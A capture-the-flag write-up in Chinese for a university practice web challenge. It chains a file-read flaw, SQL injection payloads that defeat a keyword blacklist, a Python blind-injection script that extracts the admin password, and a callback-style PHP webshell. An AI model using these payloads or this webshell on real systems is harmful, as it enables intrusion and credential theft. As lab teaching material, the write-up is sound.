南京邮电大学攻防平台web综合题2题解

这道题目还是很具有挑战性的。相比其他更偏向于奇技淫巧的题目,这道题目更偏向于真实环境下的渗透题目。其中不仅涉及到SQL注入还需要具有一定的渗透经验,具备了以上的能力才有可能做对这道题目。由于这道题目具有一定的难度,也特地使用一篇文章来讲解一下这道题目。

寻找突破口

首先看题目,分析题目所考察的知识点,寻找题目的突破口。

从题目首页看来,这不是一个XSS的题目。所以考虑到这可能是一个需要使用SQL注入的题目,获取数据库中的信息,难道flag。
后来发现在本CMS说明是一个文件读取的链接,http://cms.nuptzj.cn/about.php?file=sm.txt。点击连接显示内容如下。

可以发现这是一个可以进行文件读取。从显示内容可以发现有index.php、passencode.php、say.php文件。同时数据库中还存在一个admin表。
然后分别读取index.php内容,passencode.php、say.php的内容。
其中index.php没有什么有用的信息;在say.php中显示的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<?php include 'config.php';
$nice=$_POST['nice'];
$say=$_POST['usersay'];
if(!isset($_COOKIE['username'])) {
setcookie('username',$nice);
setcookie('userpass','');
}
$username=$_COOKIE['username'];
$userpass=$_COOKIE['userpass'];
if($nice=="" || $say=="") {
echo "<script>alert('昵称或留言内容不能为空!(如果有内容也弹出此框,不是网站问题喔~ 好吧,给个提示:查看页面源码有惊喜!)');</script>";
exit();
}
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$nice=mysql_real_escape_string($nice);
$username=mysql_real_escape_string($username);
$userpass=mysql_real_escape_string($userpass);
$result=mysql_query("SELECT username FROM admin where username='$nice'",$con);
$login=mysql_query("SELECT * FROM admin where username='$username' AND userpass='$userpass'",$con);
if(mysql_num_rows($result)>0 && mysql_num_rows($login)<=0) {
echo "<script>alert('昵称已被使用,请更换!');</script>";
mysql_free_result($login);
mysql_free_result($result);
mysql_close($con); exit();
}
mysql_free_result($login);
mysql_free_result($result);
$say=mysql_real_escape_string($say);
mysql_query("insert into message (nice,say,display) values('$nice','$say',0)",$con);
mysql_close($con);
echo '<script>alert("构建和谐社会,留言需要经过管理员审核才可以显示!");window.location = "./index.php"</script>'; ?>

这个代码就一个普通的用于显示信息的代码,在其中并没有什么可以利用的漏洞。
而passencode.php中的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php function passencode($content){ 
//$pass=urlencode($content);
$array=str_split($content);
$pass="";
for($i=0;$i<count($array);$i++) {
if($pass!="") {
$pass=$pass." ".(string)ord($array[$i]);
} else {
$pass=(string)ord($array[$i]);
}
} return $pass;
}
?>

可以看到密码的加密算法就是保存密码的ASCII密码。这个可能在获取到密码之后可能为用到。
然后读取about.php代码:
about.php的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')) {
echo "file参数不能为空!";
exit();
} else {
$cut=strchr($file,"loginxlcteam");
if($cut==false) {
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
} else {
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}

可以看到存在config.php目录,但是发现无法访问。还存在loginxlcteam文件,但是此文件也无法读取。
访问http://cms.nuptzj.cn/config.php没有内容显示。访问http://cms.nuptzj.cn/loginxlcteam/发现是如下的一个登陆地址。


这个登陆地址没有任何提示信息,很难登陆进入。

SQL注入

虽然上面找到了网站存在的问题,但是还是没有找到突破口。渗透测试的时候,如果没有找到突破口,那就进行抓包吧。皇天不负有心人,通过抓包发现当在主页http://cms.nuptzj.cn/上面进行搜索的时候提交的请求是http://cms.nuptzj.cn/so.php,通过http://cms.nuptzj.cn/about.php?file=so.php读取到文件的内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'.antixss($rs['say']).'&lt;br /&gt;';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>

后来发现在其中的SQL查询可能存在SQL注入,在本php文件中还应用了antiinject.php这个文件,代码如下:

1
2
3
4
5
6
7
8
9
<?php 
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
$info=str_replace($keyword[$i], '',$info);
} return $info;
}
?>

antiinject是一个黑名单的过滤函数,将一个常见的SQL中的关键字替换为空。这种方式的黑名单使用selSELECTect就可以轻易地绕过了。
通过so.php和antiinject.php文件就可以写出exploit,来获取admin表中的内容。
首先我通过注入的方式得到admin中的记录,以及其中的userpass的长度。
通过以下的payload来获取admin中的记录:soid=1/**/anANDd/**/exists(seleSELECTct/**/coCOUNTunt(*)/**/frFROMom/**/admiADMINn/**/limit/**/1,1)就可以知道在admin中仅仅只有一条记录。
然后通过soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaspasss)>33)就可以知道在admin中的第一条记录中的userpass的长度为34。看来SQL注入中,手注是必须的。接下来写一个Python程序来爆破userpass。下面就是爆破脚步。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

def get_db():
url = "http://cms.nuptzj.cn/so.php"
header = {
'User-Agent': 'Xlcteam Browser',
'Host': 'cms.nuptzj.cn',
}
payload1 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
result= ""
for j in range(1,35):
for i in payload1:
char = str(ord(i))
num = str(j)
# payload = '1/*x*/anANDd/*x*/exists(seleSELECTct/*x*/*/*x*/frFROMom/*x*/admiADMINn/*x*/WHERE/*x*/oORrd(substring(userpaspasss/*x*/froFROMm/*x*/' + num + '/*a*/FOorR/*a*/1))>' + fuck + ')'
payload = '1/*x*/anANDd/*x*/exists(seleSELECTct/*x*/*/*x*/frFROMom/*x*/admiADMINn/*x*/WHERE/*x*/oORrd(substring(userpaspasss/*x*/froFROMm/*x*/{0}/*a*/FOorR/*a*/1))>{1})'.format(num,char)
data = {
"soid":payload
}
response = requests.post(url=url,headers=header,data=data)
result_len = len(str(response.text))
if(result_len < 430):
result += chr(int(char))
break
print(result)

get_db()

最后得到的userpass就是1020117099010701140117011001160117。SQL注入是必须要熟练掌握的,Python大法好。这个密码明显是一个密文。通过前面的passencode.php的源代码,可以知道密文就是明文的ASCII。所以得到的明文密码就是fuckruntu。
知道了管理员的用户名和密码分别是admin和fuckruntu,就是登陆到http://cms.nuptzj.cn/loginxlcteam/页面了。发现可以登陆进入,显示如下的页面。

回调木马

网页中显示木马文件名是xlcteam.php,需要知道连接木马的密码。

1
<?php $e = $_REQUEST['www']; $arr = array($_POST['wtf'] => '|.*|e',); array_walk($arr, $e, ''); ?>

这是一个回调函数的木马,关于回调函数的木马可以参考P神的文章。在P神的文章中有一个相似的例子。例子如下:

那么我们也如法炮制。

成功了。接下来就需要获取服务器上面所有的内容了。
从中可以看到其中有一个恭喜你获得flag2.txt。这个文件就是包含flag.txt的文件了。
通过http://cms.nuptzj.cn/about.php?file=恭喜你获得flag2.txt就可以得到flag了。以上整个分析过程就完成了。